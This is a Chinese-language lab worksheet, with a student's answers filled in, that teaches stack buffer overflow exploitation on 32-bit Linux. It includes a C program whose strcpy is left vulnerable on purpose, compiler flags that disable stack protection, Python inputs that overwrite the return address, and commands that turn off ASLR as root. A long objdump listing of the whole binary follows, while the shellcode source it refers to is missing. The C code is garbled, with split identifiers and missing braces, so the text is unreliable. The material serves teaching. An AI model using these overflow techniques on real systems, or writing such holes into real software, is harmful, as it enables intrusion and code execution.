# 理解栈地址溢出和 Shellcode

## 使用

本文档以通关方式撰写,完成一关进入下一关,请将需要填写的内容写在空白处。

#### 概述

这个练习用来帮助大家理解栈溢出原理。这需要启动 Linux 操作系统,32位。

用编辑器(vim 或其他)输入如下代码,命名为 ans\_check2.c。

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int check answer(char *ans) {
 int ans flag = 0;
 char ans buf[32]; //注意此行的变化
 printf("ans buf is at address %p\n", &ans buf);
 strcpy(ans buf, ans);
 if (strcmp(ans_buf, "forty-two") == 0)
    ans flag = 1;
 return ans_flag;
}
int main(int argc, char *argv[]) {
 if (argc < 2) {
   printf("Usage: %s <answer>\n", argv[0]);
    exit(0);
 if (check answer(argv[1])) {
   printf("Right answer!\n");
  } else {
    printf("Wrong answer!\n");
}
```

这个代码与 ans\_check.c 相似,不同的地方用**蓝色粗体**表示,请理解该代码的功能。(注意 check answer 函数第二行的变化)

用如下指令编译该程序:

gcc ans check2.c -g -z execstack -fno-stack-protector -o ans check2

其中,选项"-z execstack"表示栈可以执行(栈中可以包含运行指令)。运行如下指令,将输出结果粘贴在空白处:

./ans\_check2 forty-two

 $tos@tos211-vpc: $$^Desktop/netsafe$./ans_check2 forty-two ans_buf is at address 0xbf80dd0c$ 

Right answer!

现在,用 python 语言产生输入,运行该程序。

./ans check2 \$(python -c "print '0'\*5")

其中,python -c "print '0'\*5"产生一个字符串'00000'(5 个 0),通过修改其中的数字可以很容易的改变输入 0 的长度。

通过辅助 python 代码,我们可以发现 1)通过输入是否可以使程序的栈缓冲区溢出,2) 多长的输入能够使栈缓冲区溢出。

增加输入长度,直到程序因为 Segmentation fault 而退出。 将产生 Segmentation fault 的指令和结果粘贴在空白处。

tos@tos211-vpc:~/Desktop/netsafe\$ ./ans\_check2 \$(python -c "print '0'\*44") ans\_buf is at address 0xbfe1739c

Right answer!

Segmentation fault (core dumped)

Gate2 粗略地找到了栈溢出的输入长度,下面,我们将填入有意义的代码,进而劫持程序。

执行下面二进制反编译命令,将输出写在空白处。

objdump -D ans check2 | grep -B 1 exit

tos@tos211-vpc:~/Desktop/netsafe\$ objdump -D ans\_check2 | grep -B 1 exit

080483a0 <exit@plt>:

\_\_

8048507: c7 04 24 00 00 00 00 mov1 \$0x0, (%esp)

804850e: e8 8d fe ff ff call 80483a0 <exit@plt>

其中,"-B 1"选项可以使 grep 命令输出包含"exit"行及前一行的信息。这两行代码能够让程序退出。我们将通过修改输入内容,让程序跳转到这两行代码执行,即直接令程序退出。

这里假设**这两行代码首地址**是 Oxdeadbeef (根据你的程序地址替换), 执行如下命令:

./ans\_check2 \$(python -c "print '\xef\xbe\xad\xde'\*N")

其中, **N 是多少, 需要你来发现**。找到满足如下条件的 **N**:

- 1)程序能够正常退出;
- 2) 退出时不输出答案正确或错误的信息;
- 3) 没有 Segmentation fault 错误;
- 4) N 最短。

将你正确的结果连同正确结果的输入一并记录在空白处。

#### N为12。N为13时无乱码输出,结果如下:

tos@tos211-vpc:~/Desktop/netsafe\$ ./ans\_check2 \$(python -c "print '\x07\x85\x04\x08'\*12") ans\_buf is at address 0xbfb9566c

���������� tos@tos211-vpc:~/Desktop/netsafe\$

tos@tos211-vpc:~/Desktop/netsafe\$ ./ans\_check2 \$(python -c "print '\x07\x85\x04\x08'\*13") ans buf is at address 0xbffd5dbc

多次执行./ans\_check2 forty-three 命令,观察每次的输出是否相同。

如果在 gdb 环境运行程序,每次输出是相同的,即程序自身缓冲区起始地址(printf 语句的输出)和实际的栈中缓冲区地址是一样的。

如果在 gdb 之外执行程序,它们的值可能是不同的,即**每次执行程序,程序 printf 输出的地址都不同**(说明分配的内存栈地址不同)。这是因为:系统可能使用了地址空间布局随机化 address space layout randomization (ASLR),在 gdb 中,默认不开启 ASLR。

ASLR 是早期系统防范缓冲区溢出的方法之一,该方法已经可以被绕过。这里,我们暂时不研究高级技术,仅通过系统命令将该方法关闭。

执行如下命令:

cat /proc/sys/kernel/randomize\_va\_space # 记下该值 2 sudo su - echo 0 > /proc/sys/kernel/randomize\_va\_space exit #你可以用 echo 语句写回原来的值 或者 重新启动恢复 ASLR 功能

你再执行"./ans\_check2 forty-three"等指令,每次执行的缓冲区地址将一样。记录这个地址:

tos@tos211-vpc:~/Desktop/netsafe\$ ./ans\_check2 forty-three ans\_buf is at address 0xbffff1fc Wrong answer!

这里,将尝试在输入字符序列中添加可执行代码。

使用编辑器 vi 等写一个程序,存储为 stest.c,代码如下:

用下列命令编译源代码:

gcc stest.c -g -z execstack -o stest

当你执行"./stest"时,你发现自己在一个新的 shell 里面,这个代码验证了 sc1[]中存储的 25 个字节启动了一个 shell。

可以对 stest 执行反汇编,查看 shellcode 的汇编代码。

```
objdump -D stest | less
```

-D 选项反编译文件中的全部内容。可以输入/sc1 <enter>定位到 sc1 内容,将 sc1 的反汇编内容拷贝到空白处。

stest: file format elf32-i386

Disassembly of section .interp:

08048154 <.interp>:

8048154: 2f das

8048155: 6c insb (%dx),%es:(%edi)

```
$0x6c2d646c,0x2f(%edx),%esp
8048156:
             69 62 2f 6c 64 2d 6c imul
804815d:
             69 6e 75 78 2e 73 6f imul $0x6f732e78,0x75(%esi),%ebp
             2e 32 00
                                      %cs:(%eax),%al
8048164:
                                 xor
Disassembly of section .note.ABI-tag:
08048168 <.note.ABI-tag>:
8048168:
             04 00
                                 add
                                      $0x0,%al
804816a:
             00 00
                                      %al,(%eax)
                                 add
                                      %al,(%eax)
804816c:
             10 00
                                adc
                                      %al,(%eax)
804816e:
             00 00
                                 add
                                      %eax,(%eax)
8048170:
             01 00
                                 add
                                      %al,(%eax)
8048172:
             00 00
                                 add
                          inc %edi
8048174:
             47
8048175:
                                %esi
             4e
                          dec
8048176:
             55
                          push %ebp
8048177:
             00 00
                                      %al,(%eax)
                                 add
             00 00
                                      %al,(%eax)
8048179:
                                add
804817b:
             00 02
                                      %al,(%edx)
                                 add
                                      %al,(%eax)
804817d:
             00 00
                                 add
804817f:
             00 06
                                      %al,(%esi)
                                 add
                                      %al,(%eax)
8048181:
             00 00
                                add
                                      %bl,(%eax)
8048183:
             00 18
                                 add
8048185:
             00 00
                                 add
                                      %al,(%eax)
Disassembly of section .note.gnu.build-id:
08048188 <.note.gnu.build-id>:
8048188:
             04 00
                                      $0x0,%al
                                 add
             00 00
                                      %al,(%eax)
804818a:
                                 add
             14 00
                                      $0x0,%al
804818c:
                                 adc
804818e:
             00 00
                                      %al,(%eax)
                                 add
8048190:
             03 00
                                add
                                      (%eax),%eax
                                      %al,(%eax)
8048192:
             00 00
                                 add
8048194:
             47
                          inc %edi
8048195:
                          dec
                               %esi
             4e
                          push %ebp
8048196:
             55
8048197:
             00 65 36
                                add
                                      %ah,0x36(%ebp)
804819a:
             e6 58
                                out
                                     %al,$0x58
804819c:
             4d
                          dec %ebp
804819d:
             87 d9
                                xchg %ebx,%ecx
804819f:
             82
                          (bad)
80481a0:
             94
                                %eax,%esp
                          xchg
```

```
86 30
                                       %dh,(%eax)
80481a1:
                                 xchg
80481a3:
             c6 c0 cd
                                       $0xcd,%al
                                 mov
80481a6:
             5c
                          pop
                                %esp
80481a7:
             9d
                          popf
80481a8:
             с7
                          (bad)
                          push %ds
80481a9:
             1e
                          .byte 0xdb
80481aa:
             db
80481ab:
             24
                          .byte 0x24
Disassembly of section .gnu.hash:
080481ac <.gnu.hash>:
80481ac:
             02 00
                                 add
                                      (%eax),%al
             00 00
                                      %al,(%eax)
80481ae:
                                 add
80481b0:
             03 00
                                      (%eax),%eax
                                 add
80481b2:
             00 00
                                 add
                                      %al,(%eax)
             01 00
                                      %eax,(%eax)
80481b4:
                                 add
             00 00
                                      %al,(%eax)
80481b6:
                                 add
             05 00 00 00 00
                                      $0x0,%eax
80481b8:
                                 add
80481bd:
             20 00
                                      %al,(%eax)
                                 and
80481bf:
             20 00
                                      %al,(%eax)
                                 and
                                      %al,(%eax)
80481c1:
             00 00
                                 add
             00 03
                                      %al,(%ebx)
80481c3:
                                 add
80481c5:
             00 00
                                 add
                                      %al,(%eax)
80481c7:
             00
                          .byte 0x0
80481c8:
             ad
                          lods
                                %ds:(%esi),%eax
             4b
80481c9:
                          dec
                                %ebx
             e3 c0
80481ca:
                                 jecxz 804818c <_init-0x108>
Disassembly of section .dynsym:
080481cc <.dynsym>:
80481dc:
             01 00
                                 add
                                      %eax,(%eax)
80481e6:
             00 00
                                 add
                                      %al,(%eax)
                                      %al,(%eax)
80481e8:
             20 00
                                 and
                                      %al,(%eax)
             00 00
80481ea:
                                 add
80481ec:
             29 00
                                 sub
                                      %eax,(%eax)
80481f6:
             00 00
                                 add
                                      %al,(%eax)
80481f8:
             12 00
                                 adc
                                      (%eax),%al
80481fa:
             00 00
                                 add
                                      %al,(%eax)
80481fc:
             1a 00
                                 sbb
                                      (%eax),%al
```

```
80481fe:
                                      %al,(%eax)
             00 00
                                 add
8048200:
             9c
                          pushf
             84 04 08
                                test %al,(%eax,%ecx,1)
8048201:
             04 00
                                     $0x0,%al
8048204:
                                 add
8048206:
             00 00
                                add
                                      %al,(%eax)
             11 00
                                      %eax,(%eax)
8048208:
                                adc
804820a:
             0f
                          .byte 0xf
Disassembly of section .dynstr:
0804820c <.dynstr>:
804820c:
             00 5f 5f
                                add
                                      %bl,0x5f(%edi)
             67 6d
                                insl (%dx),%es:(%di)
804820f:
8048211:
                          outsl %ds:(%esi),(%dx)
             6f
8048212:
                          outsb %ds:(%esi),(%dx)
             6e
8048213:
             5f
                          pop
                                %edi
8048214:
             73 74
                                jae 804828a < init-0xa>
8048216:
             61
                          popa
8048217:
             72 74
                                     804828d < init-0x7>
                                jb
8048219:
                                %edi
             5f
                          pop
804821a:
             5f
                          pop
                                %edi
804821b:
             00 6c 69 62
                                add %ch,0x62(%ecx,%ebp,2)
804821f:
             63 2e
                                arpl %bp,(%esi)
8048221:
             73 6f
                                jae 8048292 <_init-0x2>
                                cs add %bl,%cs:%ss:0x49(%edi)
8048223:
             2e 36 00 5f 49
8048228:
             4f
                          dec
                               %edi
8048229:
             5f
                          pop
                                %edi
804822a:
             73 74
                                jae 80482a0 <_init+0xc>
804822c:
             64 69 6e 5f 75 73 65 imul $0x64657375,%fs:0x5f(%esi),%ebp
             64
8048233:
8048234:
             00 5f 5f
                                 add
                                      %bl,0x5f(%edi)
8048237:
             6c
                          insb (%dx),%es:(%edi)
8048238:
             69 62 63 5f 73 74 61 imul $0x6174735f,0x63(%edx),%esp
                                     80482b5 < init+0x21>
804823f:
             72 74
                                jb
8048241:
             5f
                          pop %edi
8048242:
             6d
                          insl (%dx),%es:(%edi)
8048243:
             61
                          popa
             69 6e 00 47 4c 49 42 imul $0x42494c47,0x0(%esi),%ebp
8048244:
804824b:
             43
                               %ebx
                          inc
804824c:
             5f
                          pop %edi
804824d:
             32 2e
                                     (%esi),%ch
                                xor
804824f:
             30 00
                                      %al,(%eax)
                                xor
```

```
Disassembly of section .gnu.version:
08048252 <.gnu.version>:
8048252:
             00 00
                                      %al,(%eax)
                                add
8048254:
             00 00
                                add
                                      %al,(%eax)
             02 00
                                      (%eax),%al
8048256:
                                add
                                      %eax,(%eax)
8048258:
             01 00
                                add
Disassembly of section .gnu.version r:
0804825c <.gnu.version_r>:
             01 00
                                      %eax,(%eax)
804825c:
                                add
804825e:
             01 00
                                      %eax,(%eax)
                                add
                                      %al,(%eax)
8048260:
             10 00
                                adc
8048262:
             00 00
                                add %al,(%eax)
8048264:
             10 00
                                adc %al,(%eax)
8048266:
             00 00
                                      %al,(%eax)
                                add
                                add %al,(%eax)
8048268:
             00 00
804826a:
             00 00
                                      %al,(%eax)
                                add
804826c:
             10 69 69
                                adc %ch,0x69(%ecx)
804826f:
             0d 00 00 02 00
                                     $0x20000,%eax
                                or
8048274:
             3b 00
                                cmp (%eax),%eax
                                      %al,(%eax)
8048276:
             00 00
                                add
8048278:
             00 00
                                      %al,(%eax)
                                add
Disassembly of section .rel.dyn:
0804827c <.rel.dyn>:
804827c:
             f0 9f
                          lock lahf
             04 08
804827e:
                                add
                                      $0x8,%al
8048280:
             06
                                %es
                          push
8048281:
             01 00
                                add
                                      %eax,(%eax)
Disassembly of section .rel.plt:
08048284 <.rel.plt>:
8048284:
             00 a0 04 08 07 01
                                add
                                      %ah,0x1070804(%eax)
                                      %al,(%eax)
804828a:
             00 00
                                add
804828c:
             04 a0
                                      $0xa0,%al
                                add
804828e:
             04 08
                                add
                                      $0x8,%al
8048290:
             07
                                %es
                          pop
8048291:
             02 00
                                      (%eax),%al
                                add
```

```
Disassembly of section .init:
08048294 < init>:
8048294:
             53
                          push %ebx
8048295:
             83 ec 08
                                     $0x8,%esp
                                sub
8048298:
             e8 00 00 00 00
                                call 804829d <_init+0x9>
804829d:
             5b
                                %ebx
                          pop
804829e:
             81 c3 57 1d 00 00
                                add $0x1d57,%ebx
80482a4:
             8b 83 fc ff ff ff
                                mov -0x4(%ebx),%eax
80482aa:
             85 c0
                                test %eax,%eax
                                     80482b3 < init+0x1f>
80482ac:
             74 05
                                call 80482e0 < gmon start @plt>
80482ae:
            e8 2d 00 00 00
                                call 8048390 <frame_dummy>
80482b3:
             e8 d8 00 00 00
80482b8:
             e8 93 01 00 00
                                call 8048450 < do global ctors aux>
            83 c4 08
80482bd:
                                add $0x8,%esp
80482c0:
             5b
                                %ebx
                          pop
80482c1:
             с3
                          ret
Disassembly of section .plt:
080482d0 < gmon start @plt-0x10>:
             ff 35 f8 9f 04 08
                                pushl 0x8049ff8
80482d0:
80482d6:
             ff 25 fc 9f 04 08
                                jmp
                                      *0x8049ffc
80482dc:
             00 00
                                      %al,(%eax)
                                add
080482e0 < gmon start @plt>:
           ff 25 00 a0 04 08
80482e0:
                                      *0x804a000
                                jmp
80482e6:
             68 00 00 00 00
                                push $0x0
80482eb:
             e9 e0 ff ff ff
                                imp
                                      80482d0 < init+0x3c>
080482f0 <__libc_start_main@plt>:
80482f0:
             ff 25 04 a0 04 08
                                jmp
                                      *0x804a004
80482f6:
             68 08 00 00 00
                                push $0x8
80482fb:
             e9 d0 ff ff ff
                                jmp 80482d0 < init+0x3c>
Disassembly of section .text:
08048300 < start>:
8048300:
             31 ed
                                      %ebp,%ebp
                                xor
8048302:
             5e
                                %esi
                          pop
                                       %esp,%ecx
8048303:
             89 e1
                                 mov
```

```
83 e4 f0
                                      $0xffffff0,%esp
8048305:
                                and
             50
8048308:
                          push
                                %eax
8048309:
             54
                          push
                                %esp
804830a:
             52
                          push
                                %edx
804830b:
             68 40 84 04 08
                                push $0x8048440
            68 d0 83 04 08
8048310:
                                push
                                      $0x80483d0
8048315:
             51
                                %ecx
                          push
8048316:
             56
                                %esi
                          push
8048317:
            68 b4 83 04 08
                                push $0x80483b4
804831c:
            e8 cf ff ff ff
                                call 80482f0 < libc start main@plt>
8048321:
            f4
                          hlt
8048322:
            90
                          nop
8048323:
             90
                          nop
8048324:
            90
                          nop
8048325:
            90
                          nop
8048326:
            90
                          nop
8048327:
            90
                          nop
8048328:
            90
                          nop
            90
8048329:
                          nop
804832a:
            90
                          nop
804832b:
            90
                          nop
804832c:
            90
                          nop
804832d:
            90
                          nop
804832e:
             90
                          nop
804832f:
            90
                          nop
08048330 < do global dtors aux>:
8048330:
             55
                          push
                                %ebp
            89 e5
8048331:
                                mov
                                      %esp,%ebp
             53
                          push %ebx
8048333:
                                sub $0x4,%esp
8048334:
            83 ec 04
            80 3d 2c a0 04 08 00 cmpb $0x0.0x804a02c
8048337:
804833e:
            75 3f
                                jne 804837f < do global dtors aux+0x4f>
8048340:
            a1 30 a0 04 08
                                mov 0x804a030,%eax
8048345:
            bb 20 9f 04 08
                                mov $0x8049f20,%ebx
            81 eb 1c 9f 04 08
                                sub $0x8049f1c,%ebx
804834a:
8048350:
            c1 fb 02
                                sar $0x2,%ebx
            83 eb 01
                                sub $0x1,%ebx
8048353:
8048356:
             39 d8
                                cmp %ebx,%eax
            73 1e
                                jae 8048378 < do global dtors aux+0x48>
8048358:
804835a:
            8d b6 00 00 00 00
                                     0x0(%esi),%esi
                                lea
8048360:
            83 c0 01
                                add $0x1,%eax
8048363:
            a3 30 a0 04 08
                                      %eax,0x804a030
                                mov
8048368:
            ff 14 85 1c 9f 04 08
                                call *0x8049f1c(,%eax,4)
```

```
804836f:
                                      0x804a030,%eax
            a1 30 a0 04 08
                                mov
8048374:
            39 d8
                                      %ebx,%eax
                                cmp
            72 e8
                                    8048360 < do global dtors aux+0x30>
8048376:
            c6 05 2c a0 04 08 01 movb $0x1,0x804a02c
8048378:
804837f:
            83 c4 04
                                add
                                     $0x4,%esp
                               %ebx
8048382:
            5b
                         pop
8048383:
            5d
                               %ebp
                         pop
8048384:
            с3
                         ret
8048385:
            8d 74 26 00
                                     0x0(%esi,%eiz,1),%esi
                                lea
                                     0x0(%edi,%eiz,1),%edi
8048389:
            8d bc 27 00 00 00 00 lea
08048390 <frame dummy>:
8048390:
             55
                               %ebp
                         push
            89 e5
8048391:
                                mov
                                     %esp,%ebp
            83 ec 18
                                sub $0x18,%esp
8048393:
8048396:
            a1 24 9f 04 08
                                mov 0x8049f24,%eax
            85 c0
                                test %eax,%eax
804839b:
            74 12
                                    80483b1 <frame dummy+0x21>
804839d:
            b8 00 00 00 00
                                mov $0x0,%eax
804839f:
80483a4:
            85 c0
                                test %eax,%eax
80483a6:
            74 09
                                    80483b1 < frame dummy + 0x21>
80483a8:
            c7 04 24 24 9f 04 08 movl $0x8049f24,(%esp)
            ff d0
                         call *%eax
80483af:
80483b1:
            с9
                         leave
80483b2:
            c3
                         ret
80483b3:
            90
                         nop
080483b4 <main>:
80483b4:
            55
                         push
                               %ebp
            89 e5
                                      %esp,%ebp
80483b5:
                                mov
                                sub $0x10,%esp
80483b7:
            83 ec 10
                                    -0x4(%ebp),%eax
80483ba:
            8d 45 fc
                                lea
80483bd:
            83 c0 08
                                add $0x8,%eax
                                mov %eax,-0x4(%ebp)
80483c0:
            89 45 fc
                                mov -0x4(%ebp),%eax
80483c3:
            8b 45 fc
80483c6:
            ba 10 a0 04 08
                                     $0x804a010,%edx
                                mov
80483cb:
            89 10
                                     %edx,(%eax)
                                mov
80483cd:
            с9
                         leave
80483ce:
            c3
                         ret
80483cf:
            90
                         nop
080483d0 < libc csu init>:
80483d0:
            55
                               %ebp
                         push
80483d1:
            57
                         push %edi
```

```
80483d2:
             56
                          push
                                %esi
80483d3:
            53
                                %ebx
                          push
            e8 69 00 00 00
80483d4:
                                call 8048442 < i686.get_pc_thunk.bx>
            81 c3 1b 1c 00 00
80483d9:
                                 add
                                      $0x1c1b,%ebx
                                sub $0x1c,%esp
80483df:
            83 ec 1c
                                 mov 0x30(%esp),%ebp
80483e2:
            8b 6c 24 30
                                     -0xe0(%ebx),%edi
80483e6:
            8d bb 20 ff ff ff
                                 lea
80483ec:
            e8 a3 fe ff ff
                                 call 8048294 < init>
80483f1:
            8d 83 20 ff ff ff
                                     -0xe0(%ebx),%eax
                                 lea
80483f7:
            29 c7
                                sub
                                     %eax,%edi
                                     $0x2,%edi
80483f9:
            c1 ff 02
                                 sar
80483fc:
            85 ff
                          test %edi,%edi
            74 29
80483fe:
                                     8048429 < libc csu init+0x59>
                                je
            31 f6
8048400:
                                xor
                                      %esi,%esi
8048402:
            8d b6 00 00 00 00
                                     0x0(%esi),%esi
                                lea
8048408:
            8b 44 24 38
                                 mov 0x38(%esp),%eax
            89 2c 24
                                 mov %ebp,(%esp)
804840c:
804840f:
            89 44 24 08
                                 mov %eax,0x8(%esp)
            8b 44 24 34
                                 mov 0x34(%esp),%eax
8048413:
8048417:
            89 44 24 04
                                 mov %eax,0x4(%esp)
804841b:
            ff 94 b3 20 ff ff ff
                                 call *-0xe0(%ebx,%esi,4)
                                add $0x1,%esi
8048422:
            83 c6 01
            39 fe
8048425:
                                cmp
                                      %edi,%esi
8048427:
            75 df
                                     8048408 < libc csu init+0x38>
                                ine
8048429:
            83 c4 1c
                                add
                                      $0x1c,%esp
804842c:
            5b
                                %ebx
                          pop
                                %esi
804842d:
            5e
                          pop
804842e:
            5f
                          pop
                                %edi
                                %ebp
804842f:
            5d
                          pop
            с3
8048430:
                          ret
8048431:
            eb 0d
                                      8048440 < libc csu fini>
                                jmp
8048433:
            90
                          nop
8048434:
            90
                          nop
8048435:
            90
                          nop
8048436:
            90
                          nop
8048437:
            90
                          nop
8048438:
            90
                          nop
            90
8048439:
                          nop
804843a:
            90
                          nop
804843b:
            90
                          nop
804843c:
            90
                          nop
804843d:
            90
                          nop
804843e:
            90
                          nop
804843f:
            90
                          nop
```

```
08048440 <__libc_csu_fini>:
8048440:
             f3 c3
                                 repz ret
08048442 <__i686.get_pc_thunk.bx>:
             8b 1c 24
8048442:
                                      (%esp),%ebx
                                mov
8048445:
             c3
                          ret
8048446:
             90
                          nop
8048447:
             90
                          nop
8048448:
             90
                          nop
8048449:
             90
                          nop
804844a:
             90
                          nop
804844b:
             90
                          nop
804844c:
             90
                          nop
804844d:
             90
                          nop
804844e:
             90
                          nop
804844f:
             90
                          nop
08048450 < __do_global_ctors_aux>:
8048450:
             55
                          push %ebp
             89 e5
8048451:
                                mov
                                      %esp,%ebp
8048453:
             53
                                %ebx
                          push
8048454:
             83 ec 04
                                sub $0x4,%esp
             a1 14 9f 04 08
                                mov 0x8049f14,%eax
8048457:
804845c:
             83 f8 ff
                                cmp
                                      $0xffffffff,%eax
                                     8048474 < __do_global_ctors_aux+0x24>
804845f:
             74 13
                                je
8048461:
             bb 14 9f 04 08
                                mov
                                      $0x8049f14,%ebx
             66 90
                                xchg %ax,%ax
8048466:
                                sub $0x4,%ebx
8048468:
             83 eb 04
             ff d0
                          call *%eax
804846b:
804846d:
             8b 03
                                mov (%ebx),%eax
804846f:
             83 f8 ff
                                cmp $0xffffffff,%eax
8048472:
             75 f4
                                jne 8048468 < do global ctors aux+0x18>
8048474:
             83 c4 04
                                add $0x4,%esp
8048477:
             5b
                               %ebx
                          pop
                               %ebp
8048478:
             5d
                          pop
8048479:
             c3
                          ret
             90
804847a:
                          nop
804847b:
             90
                          nop
Disassembly of section .fini:
0804847c < fini>:
804847c:
                          push %ebx
             53
```

```
$0x8,%esp
804847d:
             83 ec 08
                                 sub
8048480:
             e8 00 00 00 00
                                 call 8048485 <_fini+0x9>
8048485:
                          pop
                                %ebx
                                 add $0x1b6f,%ebx
8048486:
             81 c3 6f 1b 00 00
804848c:
             e8 9f fe ff ff
                                 call 8048330 < do global dtors aux>
             83 c4 08
                                      $0x8,%esp
8048491:
                                 add
8048494:
             5b
                                %ebx
                          pop
8048495:
             с3
                          ret
Disassembly of section .rodata:
08048498 < fp hw>:
             03 00
8048498:
                                 add
                                      (%eax),%eax
0804849c < IO stdin used>:
804849c:
             01 00
                                      %eax,(%eax)
                                 add
804849e:
             02 00
                                      (%eax),%al
                                 add
Disassembly of section .eh frame hdr:
080484a0 <.eh_frame_hdr>:
             01 1b
80484a0:
                                 add
                                      %ebx,(%ebx)
80484a2:
             03 3b
                                 add
                                      (%ebx),%edi
80484a4:
             30 00
                                 xor
                                      %al,(%eax)
80484a6:
             00 00
                                 add %al,(%eax)
                                      $0x30000000,%eax
80484a8:
             05 00 00 00 30
                                 add
80484ad:
             fe
                          (bad)
                          (bad)
80484ae:
             ff
             ff 4c 00 00
                                 decl 0x0(\%eax,\%eax,1)
80484af:
                                      %dl,(%edi,%edi,8)
80484b3:
             00 14 ff
                                 add
80484b6:
             ff
                          (bad)
80484b7:
             ff 70 00
                                 pushl 0x0(%eax)
80484ba:
             00 00
                                 add
                                      %al,(%eax)
80484bc:
             30 ff
                          xor %bh,%bh
80484be:
             ff
                          (bad)
80484bf:
             ff 90 00 00 00 a0
                                 call *-0x6000000(%eax)
             ff
                          (bad)
80484c5:
80484c6:
             ff
                          (bad)
80484c7:
             ff cc
                                %esp
                          dec
80484c9:
             00 00
                                      %al,(%eax)
                                 add
80484cb:
             00 a2 ff ff ff e0
                                 add
                                      %ah,-0x1f000001(%edx)
80484d1:
             00 00
                                 add
                                      %al,(%eax)
```

```
Disassembly of section .eh_frame:
080484d4 < FRAME END -0xc0>:
80484d4:
             14 00
                                       $0x0,%al
                                 adc
             00 00
                                       %al,(%eax)
80484d6:
                                 add
80484d8:
             00 00
                                       %al,(%eax)
                                 add
80484da:
             00 00
                                       %al,(%eax)
                                 add
             01 7a 52
                                       %edi,0x52(%edx)
80484dc:
                                 add
80484df:
             00 01
                                 add
                                       %al,(%ecx)
                                     80484eb <_IO_stdin_used+0x4f>
80484e1:
             7c 08
                                 jΙ
80484e3:
             01 1b
                                 add %ebx,(%ebx)
80484e5:
             0c 04
                                      $0x4,%al
                                 or
80484e7:
             04 88
                                 add
                                       $0x88,%al
                                      %eax,(%eax)
80484e9:
             01 00
                                 add
80484eb:
             00 20
                                 add %ah,(%eax)
             00 00
                                       %al,(%eax)
80484ed:
                                 add
                                       %bl,(%eax,%eax,1)
80484ef:
             00 1c 00
                                 add
             00 00
                                       %al,(%eax)
80484f2:
                                 add
80484f4:
             dc fd
                                 fdivr %st,%st(5)
                          (bad)
80484f6:
             ff
80484f7:
             ff 30
                          pushl (%eax)
                                       %al,(%eax)
80484f9:
             00 00
                                 add
             00 00
                                 add
                                       %al,(%eax)
80484fb:
80484fd:
             0e
                                 %cs
                          push
80484fe:
             08 46 0e
                                      %al,0xe(%esi)
                                 or
8048501:
             0c 4a
                                 or
                                      $0x4a,%al
             0f 0b
8048503:
                                 ud2
                                      804850b < IO stdin used+0x6f>
8048505:
             74 04
                                 įе
             78 00
                                     8048509 < IO stdin used+0x6d>
8048507:
                                 js
8048509:
             3f
                          aas
804850a:
             1a 3b
                                       (%ebx),%bh
                                 sbb
804850c:
             2a 32
                                       (%edx),%dh
                                 sub
804850e:
             24 22
                                       $0x22,%al
                                 and
8048510:
             1c 00
                                 sbb
                                       $0x0,%al
             00 00
                                       %al,(%eax)
8048512:
                                 add
8048514:
             40
                          inc %eax
                                       %al,(%eax)
8048515:
             00 00
                                 add
8048517:
             00 9c fe ff ff 1b 00
                                 add
                                       %bl,0x1bffff(%esi,%edi,8)
             00 00
                                       %al,(%eax)
804851e:
                                 add
8048520:
             00 41 0e
                                       %al,0xe(%ecx)
                                 add
8048523:
             08 85 02 42 0d 05
                                      %al,0x50d4202(%ebp)
                                 or
8048529:
             57
                                 %edi
                          push
804852a:
             c5 0c 04
                                      (%esp,%eax,1),%ecx
                                 lds
```

```
804852d:
                                      $0x0,%al
             04 00
                                 add
804852f:
             00 38
                                      %bh,(%eax)
                                 add
             00 00
                                      %al,(%eax)
8048531:
                                 add
             00 60 00
                                      %ah,0x0(%eax)
8048533:
                                 add
8048536:
             00 00
                                 add
                                      %al,(%eax)
             98
                          cwtl
8048538:
8048539:
            fe
                          (bad)
804853a:
            ff
                          (bad)
804853b:
            ff 61 00
                                      *0x0(%ecx)
                                 jmp
                                      %al,(%eax)
804853e:
            00 00
                                 add
                                      %al,0xe(%ecx)
8048540:
             00 41 0e
                                 add
                                     %al,0xc0e4102(%ebp)
8048543:
            08 85 02 41 0e 0c
                                 or
             87 03
                                 xchg %eax,(%ebx)
8048549:
            41
                               %ecx
804854b:
                          inc
804854c:
                                %cs
             0e
                          push
804854d:
             10 86 04 41 0e 14
                                 adc
                                      %al,0x140e4104(%esi)
8048553:
             83 05 4e 0e 30 02 4a addl
                                      $0x4a,0x2300e4e
804855a:
             0e
                          push
                                %cs
804855b:
             14 41
                                      $0x41,%al
                                 adc
804855d:
             0e
                                %cs
                          push
804855e:
             10 c3
                                 adc
                                      %al,%bl
                               %ecx
8048560:
            41
                          inc
8048561:
             0e
                          push %cs
8048562:
             0c c6
                                     $0xc6,%al
                                 or
8048564:
             41
                          inc
                               %ecx
8048565:
             0e
                          push %cs
             08 c7
8048566:
                                 or
                                     %al,%bh
             41
                               %ecx
8048568:
                          inc
                                %cs
8048569:
             0e
                          push
             04 c5
                                      $0xc5,%al
804856a:
                                 add
             10 00
                                      %al,(%eax)
804856c:
                                 adc
804856e:
            00 00
                                      %al,(%eax)
                                 add
8048570:
             9с
                          pushf
8048571:
             00 00
                                 add
                                      %al,(%eax)
                                      %cl,%ah
8048573:
            00 cc
                                 add
8048575:
                          (bad)
            fe
8048576:
                          (bad)
            ff
                          incl (%edx)
8048577:
            ff 02
8048579:
            00 00
                                 add
                                      %al,(%eax)
                                      %al,(%eax)
804857b:
             00 00
                                 add
804857d:
            00 00
                                      %al,(%eax)
                                 add
804857f:
             00 10
                                 add
                                      %dl,(%eax)
8048581:
             00 00
                                 add
                                      %al,(%eax)
8048583:
            00 b0 00 00 00 ba
                                      %dh,-0x4600000(%eax)
                                 add
```

```
8048589:
             fe
                          (bad)
804858a:
                          (bad)
             ff
                                incl (%eax,%eax,1)
             ff 04 00
804858b:
804858e:
             00 00
                                add
                                     %al,(%eax)
8048590:
             00 00
                                add
                                      %al,(%eax)
08048594 < __FRAME_END__>:
8048594:
             00 00
                                      %al,(%eax)
                                add
      ...
Disassembly of section .ctors:
08049f14 < CTOR LIST >:
8049f14:
             ff
                          (bad)
8049f15:
             ff
                          (bad)
8049f16:
             ff
                          (bad)
                          incl (%eax)
            ff 00
8049f17:
08049f18 <__CTOR_END__>:
8049f18:
             00 00
                                      %al,(%eax)
                                add
      ...
Disassembly of section .dtors:
08049f1c < DTOR LIST >:
8049f1c:
             ff
                          (bad)
8049f1d:
             ff
                          (bad)
8049f1e:
                          (bad)
            ff
8049f1f:
            ff 00
                          incl (%eax)
08049f20 <__DTOR_END__>:
8049f20:
             00 00
                                add
                                      %al,(%eax)
Disassembly of section .jcr:
08049f24 <__JCR_END__>:
             00 00
8049f24:
                                add %al,(%eax)
Disassembly of section .dynamic:
08049f28 < DYNAMIC>:
```

```
